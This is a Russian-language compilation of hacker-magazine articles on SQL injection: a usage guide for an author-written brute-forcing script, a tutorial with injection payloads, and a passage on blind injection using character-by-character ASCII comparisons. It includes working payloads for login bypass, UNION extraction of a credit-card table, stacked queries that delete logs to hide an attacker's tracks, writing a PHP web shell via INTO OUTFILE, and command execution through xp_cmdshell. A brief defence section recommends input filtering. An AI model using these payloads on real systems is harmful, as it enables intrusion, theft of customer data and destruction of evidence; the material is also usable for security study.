Не стесняйся разделять права пользователям MySQL. Не давай право учетной записи форума иметь доступ ко всем остальным базам данных.

Помимо авторизации по хостам и парольной аутентификации обязательно прикрывай порт сервиса файрволом, чтобы наверняка защитить свою СУБД.

Все примеры даны лишь в ознакомительных целях. За применение на практике автор и редакция журнала ответственности не несут.

Если у тебя возникнут дополнительные вопросы, пиши автору, он готов к общению


Введение

Я уверен, что тебе не раз приходилось тратить довольно много времени на такое нудное и малоинтересное занятие, как определение количества столбцов между SELECT и WHERE, перебор названий таблиц, посимвольный брутфорс при атаках вида SQL Injection. Не удивлюсь, если ты скажешь, что тебе уже порядком надоело делать это вручную, каждый раз встречая эту уязвимость. Данная статья рассчитана на человека, знакомого со SQL инъекциями - в ней мы рассмотрим методы их автоматизированной эксплуатации на примере использования PHP скрипта SQLBruter 0.2 (
скачать), созданного мною специально для этих целей.

Изучение работы скрипта

Прежде всего давай проанализируем все возможности, а также обязательные параметры для запуска скрипта. Итак, программа предоставляет четыре способа перебора:

1. перебор количества выбираемых полей;
2. названий таблиц;
3. названий столбцов;
4. посимвольный перебор;

Кроме того, в скрипте предусмотрен вывод результатов в лог-файл и использование прокси для твоей анонимности. В качестве обязательных параметров тебе необходимо указать хост для подключения, путь к скрипту с уязвимым параметром и, конечно же, тип перебора. Таким образом, запуск программы осуществляется по следующей схеме:


php sqlbruter.php HOST PATH MODE ADDITIONAL_PARAMS OPTIONS

где MODE - порядковый номер метода перебора. Что касается дополнительных параметров, то они зависят от конкретного способа брута.

Весь принцип работы скрипта основывается на поиске строки, указанной пользователем через параметр <string>, в возвращенном ответе сервера на неверный запрос. Если она найдена, то программа будет продолжать перебор до тех пор, пока сервер не вернет совершенно иной ответ, то есть при выполнении условия. Думаю, здесь все просто и понятно, однако для правильной работы прежде всего нужно точно определить параметр <string>. Для этого необходимо выяснить реакцию web-приложения на запрос, содержащего кавычку в конце уязвимого параметра. В некоторых случаях в ответе сервера мы можем увидеть такую фразу:


MySQL error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘…’ at line.

Это означает, что разработчик скрипта позаботился о выводе ошибок, и при попытке подстановки неверного количества столбцов сервер всегда возвратит строку

"The used SELECT statements have a different number of columns".

Однако в большинстве случаев выводится стандартная ошибка

PHP: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in z:\home\localhost\www\hackme.php on line 2.

Стоит отметить, что тебе нужно передать скрипту строку, которая действительно содержится в ответе. Например, просто указав

Warning: mysql_fetch_array()

ты не получишь корректного результата, потому что в исходнике присутствуют HTML-тэги. Поэтому верным решением было бы -

<b>Warning</b>: mysql_fetch_array()

Теперь давай рассмотрим каждый из методов перебора более детально. hack

Перебор количества выбираемых полей

Для этого способа тебе потребуется указать всего один параметр – <string>. Как его определить, ты уже знаешь. Кроме него есть еще один, необязательный аргумент ( -n) , отвечающий за максимальное количество столбцов. Скрипт будет проводить перебор, пока не достигнет этого значения. По умолчанию параметр –n равен пятнадцати. Пример запуска программы для брута количества выбираемых полей:

php sqlbruter.php localhost "/index.php?id=1" 1 "The used SELECT statements have a different number of columns" –n=25

hack
Перебор названий таблиц

Обычно, определив количество столбцов, хакер пытается вывести системную информацию с помощью SQL-функций user(), version(), database(). На основании полученных данных, он продумывает свои дальнейшее действия: если версия MySQL пятая, то ему не составит труда узнать названия всех таблиц благодаря системной базе данных information_schema, в которой также находятся и названия столбцов. Однако в четвертой версии и ниже подобной БД нет, поэтому остается лишь одно средство– брутфорс. Для перебора названий таблиц скрипту необходимо передать три обязательных параметра:


<rows> - количество столбцов между SELECT и WHERE

<string> - строка, которую вернул сервер в ответ на неправильный запрос. Обычно при попытке перебора названия таблицы сервер возвращает ошибку "Table 'название_таблицы' doesn't exist".

<dic> - путь к словарю, содержащему предполагаемые названия таблиц. Обрати внимание на то, что если твой словарь содержит выражения языка SQL (например union, outer, select и т.д.), то ты не получишь желаемого результата, так как сервером будет возвращена другая строка и, следовательно, программа будет считать ее удовлетворяющей условию.

Кроме того, у тебя есть возможность указать префикс, который будет подставляться к каждому имени таблицы из словаря, с помощью необязательного параметра –pref. Пример запуска:

php sqlbruter.php www.host.ru "/index.php?id=1" 2 13 "doesn't exist" "/home/root/words.dic" –pref=phpbb

хакер
Перебор названий столбцов

Допустим, ты нашел таблицу users, названия столбцов которой тебе неизвестны. В этом случае тебе снова не обойтись без перебора. Для запуска скрипта тебе потребуется указать почти все те же параметры, что и при переборе таблиц, за исключением аргумента <table> - название таблицы, столбцы которой мы будем брутить. Таким образом, запускать программу будем так:


php sqlbruter.php 127.0.0.1 "/index.php?id=1" 3 13 "users" "Unknown column" "/home/root/words.dic"

взлом
Посимвольный перебор

Я уверен, что ты слышал про такой вид атак, как blind SQL injection. Как известно, это обычная SQL инъекция, однако не выводятся сообщения об ошибках. Использовать этот способ уместно в случаях, когда версия MySQL третья и ниже, а также, когда мы не имеем возможности непосредственно изменить выводимые данные. Использование скриптов для успешной эксплуатации подобных уязвимостей просто необходимо. В интернете существует множество программ для этих целей, однако я рекомендую применять именно мой скрипт, так как он универсален. Для его запуска в режиме посимвольного перебора нужно указать два обязательных параметра:


<query> - запрос, результат выполнения которого мы будем перебирать (например, user(), version(), database()). Если ты указал в качестве параметра <query> запрос типа "SELECT password FROM users WHERE username='admin'", то его необходимо заключить в скобки.

<string> - строка, которая должна присутствовать в выведенном ответе web-сервера при выполнении условия.

Также необходимо уделить особое внимание диапазону перебираемых символов. Его можно указать через параметр –r, разделив двоеточием минимальное и максимальное значения порядковых номеров ASCII-символов. Например, аргумент -r равный 48:57 будет соответствовать поиску всех чисел. По умолчанию скрипт перебирает диапазон символов a…z, что соответствует кодам 97…122. Итак, запускаем следующим образом:

php sqlbruter.php 127.0.0.1 /index.php?id=1 4 "version()" "Hacked!" -r=48:122


взлом
Необязательные параметры

Как уже упоминалось выше, в скрипте предусмотрены необязательные параметры, общие для каждого из способов перебора.


-o =[file] - вывод результатов в лог-файл (например, -o="/home/root/result.txt");

-p=[port] - порт (по умолчанию 80);

-P=[ip:port] - использование прокси (например, -P=127.0.0.1:8080).

Необязательные параметры необходимо указывать только после определения всех остальных.

Заключение

Надеюсь, в данной статье ты нашел для себя что-то новое и теперь тебе не придется часами гадать названия таблиц. Напоследок стоит сказать, что немаловажную роль в быстродействии работы скрипта играют пропускная способность канала, а также версии PHP и MySQL, установленных на удаленной машине. Например, при раскладе PHP 5.1.2 + MySQL 5.0.18 скорость брута на 35% выше, чем при PHP 4.4.2 + MySQL 4.1.16. Также хочу отметить, что на данный момент существуют аналоги этой программы, например
Injection Analyzer от Kuzya.

P.S. Уверен, мой скрипт не без греха, поэтому поправки приветствуются!


SQL Injection howto

Не секрет, что баги в скриптах всегда были ахиллесовой пятой многих веб-ресурсов. Просканишь хост, посмотришь, какие сервисы и каких версий там крутятся, и опускаешь руки - просто неоткуда подступиться. Все лишнее закрыто фаерволом, а то, что открыто - пропатчено до последних версий. Засекурено по максимуму. И тут исход взлома решает какая-то байда в скрипте, заставляющая прыгать от радости.

Итак, сегодня на повестке дня - техника взлома скриптов, почти по-наркомански называемая SQL injection. Для понимания всех прелестей этой фишки неплохо бы немного знать, что такое SQL, или, по-нашему, скуль. Об этом очень кратко читай в следующих абзацах.

Ликбез по SQL

Язык SQL (Structured Query Language) на сегодняшний день является стандартом де-факто практически для всех распространенных серьезных СУБД. Он предназначен для составления запросов к базе данных. Запросы могут иметь цель добавить некоторые данные в базу, их модификацию, поиск и т.д. Работает это следующим образом. На языке SQL составляется некоторое выражение (запрос). Затем оно передается серверу базы данных, который, в свою очередь, обрабатывает его и возвращает результат этой обработки программе, сделавшей запрос.

Язык SQL достаточно удобен и очень прост для изучения, благодаря чему он получил такое широкое распространение - большая часть мало-мальски серьезных cgi-скриптов работают с базами данных, используя SQL.

Любая база данных - это набор таблиц, предназначенных для хранения однотипной информации. Каждая таблица имеет имя и состоит из записей. Запись - это своего рода единица информации, хранимая в базе данных. Информация в записи поделена на поля. Вот пример таблицы:

cc_type, cc_number, cc_holder - названия полей.

Вторая строка - это запись.

Visa, 123, Agent Smith - значения полей записи.

При помощи языка SQL можно производить различные операции с базой данных, таблицами и записями. Основные команды языка:

SELECT - извлечение инфы из таблицы.

INSERT - добавление записи в таблицу.

UPDATE - изменение записи.

DELETE - удаление записи.

Простейшее SQL-выражение может выглядеть так:

SELECT cc_number, cc_holder FROM cc_table WHERE cc_type='visa'

Ключевое слово FROM указывает таблицу, к которой будет применяться это выражение. После необязательного WHERE идет условие, определяющее, по каким параметрам будут отфильтровываться записи таблицы. Результатом данного запроса станет извлечение из таблицы cc_table записей, в которых поле cc_type имеет значение 'visa'. Программе, передавшей данный запрос базе данных, будут возращены не полные записи, а только поля cc_number и cc_holder.

После WHERE может содержаться несколько условий, разделенных логическими операторами:

WHERE cc_type='visa' AND cc_number=1234 OR cc_number=4321

Как было сказано, добавление записей производится командой INSERT. Вот пример запроса:

INSERT INTO cc_table VALUES ('amex', 12345, 'Neo')

Результатом обработки запроса станет добавление в таблицу cc_table новой записи, в которой поле cc_type примет значение 'amex', cc_number - 12345, cc_holder - 'Neo'.

Вот пример с UPDATE:

UPDATE cc_table SET cc_number=12345 WHERE cc_holder='Agent Smith'

Здесь произойдет просмотр таблицы cc_table. Если в соответствующих записях значение поля cc_holder будет равно 'Agent Smith', то значение cc_number сменится на 12345.

А это запрос DELETE:

DELETE FROM cc_table WHERE cc_type='visa'

Удалятся все записи из таблицы, где поле cc_type равно значению 'visa'.

На этом небольшой ликбез по SQL закончился. Теперь можно приступить к самому вкусному. Тому, ради чего поднялся весь сыр-бор: SQL injection.

SQL injection

Суть ошибок класса SQL injection состоит в том, что из-за некорректной обработки данных, передаваемых скрипту, потенциальный хакер может изменить составляемый скриптом SQL-запрос со всеми вытекающими отсюда последствиями. К примеру, в случае с инет-магазином, он может таким образом изменить запрос, что SQL-сервер после его обработки выдаст все содержимое таблицы, в которой содержится инфа о предыдущих клиентах магазина, включая номера их кредитных карточек и т.д. и т.п.

Это может выглядеть следующим образом. Предположим, что в составе интернет-магазина присутствует скрипт, принимающий от юзера логин и пароль и выдающий инфу о его предыдущих покупках, номерах карточек и т.д. Логин и пароль загоняются скриптом в следующее SQL-выражение, которое передается серверу базы данных:

SELECT * FROM clients WHERE login='$login' AND password='$password'

В результате обработки данного выражения сервер возвращает скрипту все записи в таблице, соответствующие логину юзверя.

Данные, введенные юзверем ($login и $password), берутся из web-формы и напрямую подставляются в это SQL-выражение. Отсюда появляется возможность хитрым образом так задать логин и пароль, что логика SQL-выражения немного изменится, в результате чего сервер базы данных возвратит записи из таблицы clients, соответствующие всем клиентам магазина со всеми данными о них. К примеру, это можно сделать так: в качестве логина задать такую строку: "nobody' OR ''='", а в качестве пароля "nopassword' OR ''='". С использованием этих данных скрипт сформирует такое выражение:

SELECT * FROM clients WHERE login='nobody' OR ''='' AND password='nopassword' OR ''=''

И под это SQL-выражение будут попадать все записи таблицы clients, т.к. login='nobody' OR ''='' и password='nopassword' OR ''='' всегда будут истинными. Так хакеры и ломают многие базы данных.

Собственно говоря, мы сделали то, что принято называть SQL injection. Дальше же будут приведены некоторые особо часто используемые трюки, которые проворачивают, если есть хоть какая-то возможность повлиять на SQL-выражение.

UNION

В предыдущем примере мы предположили, что вся инфа о юзверях содержится в таблице clients. Немного изменим условия. Допустим, в таблице clients находятся просто записи о клиентах - имена, фамилии и т.д. Номера же кредитных карточек располагаются в другой таблице, допустим, cards. Соответственно, теперь стоит задача вытянуть инфу из этой таблицы, смодифицировав уже указанный выше запрос:

SELECT * FROM clients WHERE login='$login' AND password='$password'

Здесь на помощь приходит такой элемент языка SQL, как UNION. UNION обычно используется в случае необходимости объединить результаты обработки двух запросов в один:

SELECT smth FROM table1 UNION SELECT smth FROM table2

Заюзав UNION, можно добавить еще один SELECT, который будет извлекать инфу из таблицы cards. Для этого в качестве пароля в форме может быть задано что-то вроде этого:

' UNION SELECT * FROM cards WHERE ''='

В итоге получается:

SELECT * FROM clients WHERE login='nologin' AND password='nopassword' UNION SELECT * FROM cards WHERE ''=''

После приема такого запроса произойдет вывод всего содержимого таблицы cards.

При использовании UNION необходимо учитывать следующий момент. Оба SELECT'а должны выдавать одинаковое количество столбцов, иначе произойдет глюк. Грубо говоря, если в таблице clients - всего 4 столбца, а в cards - 5, вышеуказанный пример работать не будет. Чтобы он все-таки заработал, надо задать не "SELECT *", а, например, "SELECT type, number, holder, address".

Использование разделителей SQL-выражений

Если sql-сервер позволяет задавать в одном запросе несколько SQL-выражений, разделенных некоторым символом, то это открывает перед потенциальным атакующим более широкие возможности. Следует отметить, что фичи такого рода поддерживаются далеко не всеми серверами баз данных. К примеру, Microsoft SQL Server позволяет это делать, интерпретируя в качестве разделителя символ ';', а MySQL - нет.

Опять небольшой пример с использованием того же SQL-выражения, что и выше. Допустим, веб-магазин использует базу данных, крутящуюся на скульном сервере от Дяди Билли. Допустим также, что атакующему надо почистить логи, которые скрипт сохраняет в таблицу logs, содержащую поле с именем remote_ip. Ему надо удалить все записи, содержащие в поле remote_ip его IP-адрес. Удаление записей производится при помощи SQL-команды DELETE. Соответственно, удаление логов может выполняться командой:

DELETE FROM logs WHERE remote_ip='IP address'

Без использования разделителей совместить оригинальное выражение

SELECT * FROM clients WHERE login='$login' AND password='$password'

с DELETE затруднительно. А с их использованием все делается на раз-два. Достаточно в качестве пароля забить в форму, например, "nopassword'; DELETE FROM logs WHERE remote_ip='10.0.0.2", и все становится на свои места:

SELECT * FROM clients WHERE login='nologin' AND password='nopassword'; DELETE FROM logs WHERE remote_ip='10.0.0.2'

Теперь логи почищены.

Естественно, что помимо DELETE после разделителя можно забить ЛЮБУЮ SQL-конструкцию, поддерживаемую сервером: SELECT, INSERT, UPDATE и т.д.

Вывод в файл

Некоторые SQL-сервера позволяют выводить результаты обработки SQL-выражений во внешний файл. Когда это может быть полезным? Самое первое, что может прийти на ум хакеру - это собрать какой-нить скрипт, облегчающий дальнейшее юзание сервера. К примеру, php-шелл.

В сервере MySQL вывод в файл происходит посредством команды INTO OUTFILE. В простейшем случае это делается так:

INSERT '<? system($cmd) ?>' INTO OUTFILE /www/inetshop/htdocs/shell.php

Если наш вебшоп с багой "крутится" на MySQL, то втупую проинжектить select этим запросом не получится - MySQL, к сожалению, не поддерживает разделителей.

Ситуацию спасает то, что "INTO OUTFILE" может использоваться вместе с SELECT'ом, выдавая результат обработки запроса (т.е. содержимое таблицы) не скрипту, сделавшему запрос, а напрямую в файл. Но тут возникает еще одна проблема. Нужная строка, которую надо записать в файл, должна уже присутствовать в базе. Если в магазине присутствует скрипт регистрации, то что мешает зарегистрироваться и в качестве имени юзера, пароля или еще чего-нибудь задать нужную строку? После регистрации надо сделать так, чтобы оригинальный запрос принял, скажем, такую форму:

SELECT * FROM clients WHERE login='<? system($cmd) ?>' AND password='our_password' INTO OUTFILE '/www/inetshop/htdocs/shell.php'

Как нетрудно догадаться, для успешного "инжектирования" логин должен быть - "<? system($cmd) ?>", а пароль - "ourpassword' INTO OUTFILE '/www/inetshop/htdocs/filename".

В MS SQL вывод в файл происходит несколько иначе. В поставке с ним идет большое количество модулей, содержащих различные процедуры, которые можно вызывать непосредственно из SQL-выражения. Одна из них - master.dbo.sp_makewebtask - как раз предназначена для вывода результатов выполнения скульных выражений в файл:

EXEC sp_makewebtask 'c:\inetpub\wwwroot\shell.php', "скульное выражение"

Ключевое слово EXEC предназначено для выполнения внешних процедур, какой и является sp_makewebtask. Используя разделители, эту строчку можно вогнать в поле веб-формы, предназначенное для пароля, и получить на выходе отличный скриптец.

Исполнение команд шелла

Иногда можно избежать процесса сборки скриптов, т.е. не использовать средства вывода в файл, а сделать выполнение команд шелла прямо из SQL-выражения. Эта фича, естественно, не входит в спецификацию языка SQL, поэтому, как и вывод в файл, ее наличие или отсутствие полностью лежит на совести разработчика сервера.

Например, исполнение шелл-команд возможно в MS SQL Server путем использования процедуры master.dbo.xp_cmdshell. Юзается это довольно просто. Вот пример SQL-выражения:

EXEC master.dbo.xp_cmdshell 'cmd.exe dir'

Вкупе с тем, что MS SQL поддерживает разделители (';'), вызов внешних процедур при проведении атаки проходит на ура. С тем самым магазином атакующему достаточно в качестве пароля ввести всего лишь "' EXEC master.dbo.xp_cmdshell 'cmd.exe dir".

Some tricks

Во многих приведенных выше примерах предполагалось, что потенциальный атакующий знает названия таблиц и полей в них. В реальной жизни это не всегда так - зачастую приходится иметь дело с самописными скриптами, исходники которых попросту недоступны. Но, как говорится, на каждую хитрую...

В подавляющем большинстве серверов инфа обо всех базах, поддерживаемых сервером, хранится в системных таблицах, имена которых имеют дефолтовые названия. То же самое относится и к названиям полей в них. В этих таблицах можно найти исчерпывающую информацию, касающуюся структуры любой базы данных на сервере. Далее приведена небольшая подборка названий таблиц для разных серверов. Для получения подробной информации о содержимом этих таблиц было бы неплохо глянуть в документацию по конкретному серверу, хотя до смысла большинства полей можно логически дойти, просто заселектив все их содержимое:

1) MS SQL

sysobjects

syscolumns

2) MySQL

mysql.user

mysql.host

mysql.db

3) Oracle

SYS.USER_OBJECTS

SYS.USER_TABLES

SYS.USER_VIEWS

SYS.USER_TAB_COLUMNS

SYS.TAB

SYS.ALL_TABLES

Защита от подобного

Чтобы защитить свои скрипты от подобной напасти, необходимо тщательно проверять всю входящую информацию. Нельзя доверять пользователям. Минимум, что надо делать, это удалять следующие символы:

1) Кавычки.

И двойные, и одинарные. С их помощью можно добавлять левые параметры в запрос.

2) Точка с запятой.

Она разделяет запросы (не во всех sql-серверах; mysql, например, этого не поддерживает). Ее наличие может привести к добавлению левых команд в SQL-запрос.

Также стоит проверять и другие символы, например, подчеркивание (_), знак процента (%), звездочка (*). Все они могут привести к нежелательным последствиям, поэтому очень важно отфильтровывать лишние данные.

Заключение

Нельзя сказать, что тема атак класса SQL Injection полностью рассмотрена. Каждая реализация SQL-сервера имеет свои особенности, которые потенциальный взломщик может использовать себе на благо. Естественно, для этого надо хорошо разбираться в том или ином диалекте языка SQL. Но самых популярных серверов на сегодняшний день всего несколько: MySQL, Postgres, MS SQL, Oracle. Для их защиты, особенно в случае с MySQL и Postgres, не требуется больших усилий. Главное грамотно проверять входящие данные. Это как минимум спасет твой сайт от утечки данных через скрипты. Так что помни об этом. Удачи!


На данный момент атаки типа sql injection уже достаточно широко и полно описаны в различных статьях
и документах. В сети можно найти большое количество информации и примеров в которых иллюстрируются
методы получения информации из базы данных, при использовании данного типа атак, как при условиях
вывода сообщений о ошибках, так и при случаях когда подобные сообщения не выводятся ( так называемые
Blind SQL injection ).
Однако в примерах и документах, которые сейчас доступны, при описании методики атак делается упор на
использование предложения UNION для обьединения запросов к базе и предполагается, что существует
вывод данных полученных из запроса к БД т.е. мы можем непосредственно влиять на данные которые
выводятся после выполнения запроса.
Таким образом после изучения доступной информации может сложится впечатление что получение записей
(или какой-либо информации) из базы данных, посредством атак типа sql injection, неосуществимо при
выполнении следующих условий:
- атакующий не может непосредственно влиять на вывод данных полученных из запросов к БД,
- нет вывода сообщений о ошибках,
- нет возможности использования UNION,
- атакующий не располагает никакой информацией о структуре базы.
Как иллюстрацию к вышеописанным условиям можно привести ситуацию когда атакующий может изменить
условие в запросе типа UPDATE ... WHERE ... и единственной доступной информацией для него является
только оповещение о том что запись либо была обновлена, либо нет. Конечно атакующий может изменить
существующие записи в таблице, но получить информацию из уже существующих записей, пользуясь
методами описанными на данный момент и в которых описываются атаки при запросах типа SELECT ... он
будет не в состоянии.
Как еще один пример мне пока не встречалось ни одного документа описывающего метод атак на MySQL
версии ниже 4.0 (т.е. без поддержки обьединения запросов посредством UNION) даже при запросах типа
SELECT ...
Получаются такие вот "неблагоприятные" для атакующего условия =\ Однако как показали некоторые
эксперименты в данной области даже при таких урезанных возможностях потенциальный взломщик может
получить практически любую информацию из базы данных.
Данная статья является результатом моих небольших исследований в данной области и надеюсь укажет
администраторам на возможную опасность при таких казалось-бы безнадежных для атакующего ситуациях.
Еще раз хотел бы заострить внимание на том, что целью атакующего является именно получение
информации из базы данных, а не изменение записей или небольшие модификации запроса для получения
каких-либо возможностей. Если конкретно, то например обход авторизации посредством "OR 1=1 -- " нас
совершенно не интересует, это в детском саду проходят =)
В данной статье описаны методы применяемые при атаках на базы данных MySQL. Первые три раздела
описывают методы атак в соответствии с версиями: раздел для версий выше 4.1 в которых описывается
перебор с использованием подзапросов, раздел про версии от 4.0 и до 4.1 в котором описывается
перебор с использованием UNION и раздел для версий ниже 4.0 в которых нет возможности использования
ни подзапросов, ни обьединения с помощью UNION. Данные разделы описывают атаки при внедрении кода в
запросы выборки данных типа select ...
Пускай сейчас версии выше 4.1 не очень распространены в сети, но стоит пожалуй глядеть в будущее
когда такие базы наверняка будут более распространены и описанные в данной статье методы для этих
версий станут более актуальны. Именно поэтому в данной статье наибольшее количество примеров будет
приведено для версий выше 4.1.
В последующих разделах приводятся примеры получения дополнительной информации из базы данных, такой
как значения системных переменных. После этого описывается метод атак при использовании временных
задержек на примере внедрения кода в запросы типа update ...
В последнем разделе рассматривается конкретный пример написания эксплоита использующего описанную
технику.
Следует заметить, что для наиболее полного понимания описанного в статье материала необходимо и
достаточно чтобы читатель обладал минимальными знаниями языка SQL а также языка PHP на котором будут
приведены все примеры уязвимых скриптов.
Еще читателю пригодится знание языка PERL так как по ходу статьи в примерах будет использоваться
небольшой скрипт, код которого будет позднее представлен в статье, написанный на этом языке. Также
на этом языке в конце статьи будет приведен код эксплоита, показывающего как используются методы
описанные в статье так сказать на практике.
Также в статье при описании примеров будут использоваться несколько функций описание которых я счел
необходимым привести в следующем разделе. Все эти функции описаны в мануалах. Итак приступим.

[ 1 ] ... MAN
-------------
Первая функция без которой не было бы данной статьи это функция substring()

SUBSTRING(str,pos,len)

Описание:
Возвращает подстроку длиной len символов из строки str, начиная от позиции pos.

Пример:
mysql> SELECT SUBSTRING('Quadratically',5);
-> 'ratically'
Далее на очереди функция lower()

LOWER(str)

Описание:
Возвращает строку str, в которой все символы переведены в нижний регистр в соответствии с текущей
установкой набора символов.

Пример:
mysql> SELECT LOWER('QUADRATICALLY');
-> 'quadratically'

И завершает обзор функция ascii()

ASCII(str)

Описание:
Возвращает значение ASCII-кода крайнего слева символа строки str;
0 если str является пустой строкой;
NULL, если str равна NULL.

Пример:
mysql> SELECT ASCII('2');
-> 50
mysql> SELECT ASCII(2);
-> 50

На этом думаю стоит закончить описание функций и перейти непосредственно к первой базе данных.

[ 2 ] ... MySQL версии => 4.1
-----------------------------
Я решил начать с данных версий mySQL, так как именно с версии 4.1 в них введена поддержка
подзапросов. Поддержка подзапросов дает нам большие возможности при получении данных по сравнению с
базами в которых такой поддержки нет. Но более подробно подзапросы будут рассмотрены в следующем
разделе, а пока рассмотрим пример уязвимого скрипта. Предположим, что в некоторой базе данных
существует таблица users в которой хранится информация о существующих пользователях как то логин
пользователя (столбец login), пароль пользователя (столбец password) и информация о регистрации
пользователя (столбец status, значение 1 пользователь зарегистрирован и значение 0 пользователь
незарегистрирован) В данной таблице содержатся следующие записи:

+----+--------+--------+----------+
| id | status | login | password |
+----+--------+--------+----------+
| 1 | 1 | admin | password |
| 2 | 1 | lamer | lamer |
| 3 | 0 | hacker | 123 |
| 4 | 1 | user | blah |
+----+--------+--------+----------+
На сайте существует скрипт users.php который по запросу выводит количество зарегистрированных или-же
незарегистрированных пользователей. Код данного скрипта таков:

<?
error_reporting(0);

... подключение к базе данных ...

$result=@mysql_num_rows(mysql_query("SELECT status FROM users WHERE status=$id"));
if (!$result) { $result = 0; }
echo "Found: $result";

...
дальнейшие действия которые нас неинтересуют ...
?>

Итак данный скрипт по запросу server.com/users.php?id=1 выводит количество зарегистрированных
пользователей, а по запросу server.com/users.php?id=0 количество незарегистрированных
пользователей. Как видно из кода параметр поиска передается через переменную id и данный параметр
перед помещением в запрос не фильтруется и соответственно скрипт уязвим к внедрению sql кода. Однако
имея возможность вставить произвольный sql код в запрос который будет выполняться в БД, мы в тоже
время не имеем возможности непосредственно изменить выводимые данные, так как можем влиять ТОЛЬКО на
количество строк полученных в результате запроса к базе. Именно это количество выводится потом для
просмотра. Поэтому какое-либо использование предложения UNION в данном случае нам ничего не даст.
Также из кода видно, что при возможных ошибках никаких сообщений скриптом выводиться не будет.
Многие из моих знакомых заявили бы, что получение данных из БД, через ошибку в таком скрипте,
невозможно. Но это не так!
Для начала разберемся с запросом, с тем как мы можем на него влиять и какую информацию из этого мы
сможем получить.
Запрос к серверу:
server.com/users.php?id=1
вызывает запрос к базе данных:
SELECT status FROM users WHERE status=1;
После чего подчитывается количество возвращенных запросом записей о пользователях у которых в
столбце status стоит значение 1
После выполнения скрипта мы получаем в браузере страницу следующего вида
Found: 3

После запроса: server.com/users.php?id=0
Получаем страницу
Found: 1

В первую очередь атакующий проверяет возможность внедрения sql-кода например так: server.com/users.php?id=1'
В ответ не выдается сообщения о ошибке и выведенная страница выглядит следующим образом:
Found: 0

Так как нет сообщений о ошибке, то атакующий не может с полной уверенностью определить является ли
такой вывод скрипта следствием возникшей в запросе ошибки из-за лишней кавычки или же запрос
возвращает нулевое количество записей из БД т.к. записей с таким статусом там нет. Соответственно
атакующий не может с уверенностью определить тип переменной.
Зато сможет с помощью запроса:
server.com/users.php?id=0%2B1
который совпадает с запросом к БД
SELECT status FROM users WHERE status=0+1;
( 2B - 16-ричный код символа + )

Так как возвращаемый результат этого запроса совпадает с результатом возвращаемым запросом
server.com/users.php?id=1 то атакующий с полной уверенностью может утверждать, что получаемый из
строки запроса параметр id является типом integer.

После получения информации о типе переменной атакующий может попытаться вставить в запрос
дополнительные условия и проанализировать зависимость существования или наоборот отсутствия
возвращаемых запросом строк от добавленных условий.

Запрос:
server.com/users.php?id=1 AND 1=1 соответствует запросу server.com/users.php?id=1 т.к. добавление
условия 1=1 не оказывает в данном случае никакого влияния и соответственно выводы обоих запросов
соответствуют, что подтверждают одинаковые данные выведенные скриптом при обоих запросах.
Зато запрос: server.com/users.php?id=1 AND 1=2 выводит страницу "Found: 0" так как запрос при таком
условии никогда не найдет совпадающих строк.

Данные маленькие примеры призваны показать как внедрение дополнительных условий в данном случае
влияет на количество выводимых запросом строк и соответственно на конечный результат выводимый
скриптом. Отлично. Если вы знакомы с SQL то наверно уже догадались, что после AND мы можем
использовать и более сложные условия и анализируя существование или отсутствие ответа будем
определять выполнение или соответственно невыполнение условия.

Итак на конкретном примере:
Данный запрос: server.com/users.php?id=1 AND user()="root@localhost" выведет результат совпадающий с
запросом server.com/users.php?id=1 только в случае если скрипт работает с БД от юзера root. Итак мы
пользуясь данным запросом можем перебирать различные имена пользователей и смотря на полученный
вывод скрипта определить имя пользователя. Но такой перебор конечно же слишком утомителен и
нерезультативен =( Но надеюсь вы еще не забыли про функцию substring() которая позволяет выдернуть
произвольный символ из результата. Этим мы и воспользуемся.

Запрос:
server.com/users.php?id=1 AND substring(user(),1,1)="r"
порождает запрос к БД
SELECT status FROM users WHERE status=1 AND substring(user(),1,1)="r";
и данный запрос вернет результат совпадающий с результатом запроса SELECT status FROM users WHERE
status=1 только в случае если первый символ из имени пользователя от которого скрипт работает с
базой данных совпадает с "r".

Что именно происходит в данном запросе: Сначала получаем значение user(), после этого функция
substring() выделяет из этого значения один символ стоящий на первой позиции и после этого данный
символ сравнивается с символом "r".

Итак запрос к скрипту server.com/users.php?id=1 AND substring(user(),1,1)="r" возвращает нам
страницу содержащую "Found: 3" и соответственно мы можем с полной уверенностью утверждать, что
первой буквой имени пользователя является буква r. =)

Запрос server.com/users.php?id=1 AND substring(user(),2,1)="r" вернет страницу "Found: 0" так как
второй буквой имени пользователя не является буква r, зато запрос server.com/users.php?id=1 AND
substring(user(),2,1)="o" возвращает "Found: 3" и следовательно вторая буква o.

Уже сейчас можно используя перебор всех символов получить полное имя пользователя от которого скрипт
работает с БД, последовательно перебирая позиции в записи с помощью второго параметра substring().

Однако предположим что длина имени составляет 10 символов и используются только буквы в нижнем
регистре, тогда в среднем для перебора потребуется примерно 200-300 запросов к скрипту, что
во-первых нежелательно из-за долгого времени перебора (хотя и не такого долгого как при переборе от
фонаря), а во-вторых недопустимо из-за огромного количества записей в логах веб-сервера и базы
данных, что становится похоже на слона в посудной лавке =(

Но не все так плачевно как кажется на первый взгляд =) Мы можем воспользоваться еще несколькими
функциями в условии для уменьшения диапазона перебираемых символов. В этом нам поможет функция
ascii(). Совсем не обязательно сравнивать совпадения символов, ведь можно сравнивать их ascii-коды.

Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),1,1)))>110
Данный запрос выведет результат "Found: 3" в случае если ascii-код первого символа в имени
пользователя больше 110 (т.е. больше "n"). Таким образом одним запросом мы можем уменьшить диапазон
символов для перебора в 2 раза! Следовательно мы существенно уменьшаем количество попыток перебора
символов и соответственно количество запросов к скрипту и базе данных.

В данном запросе сначала получаем значение user(), после этого с помощью substring() получаем из
этого значения один символ стоящий на первой позиции, далее функцией lower() этот символ переводится
в нижний регистр, далее функция ascii() возвращает ascii-код данного символа и этот код сравнивается
с переданным нами значением.

Алгоритм получения четвертого символа из имени пользователя получается таким:

Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))>110
Ответ: Found: 3
Вывод: Символ лежит в промежутке 110 .. 122 ( n .. z )

Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))>116
Ответ: Found: 0
Вывод: Символ лежит в промежутке 110 .. 116 ( n .. t )

Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))>113
Ответ: Found: 3
Вывод: Символ лежит в промежутке 113 .. 116 ( q .. t )

Запрос: server.com/users.php?id=1 AND ascii(lower(substring(user(),4,1)))=114
Ответ: Found: 0
Вывод: Код символа не 114 ( символ не "r" )

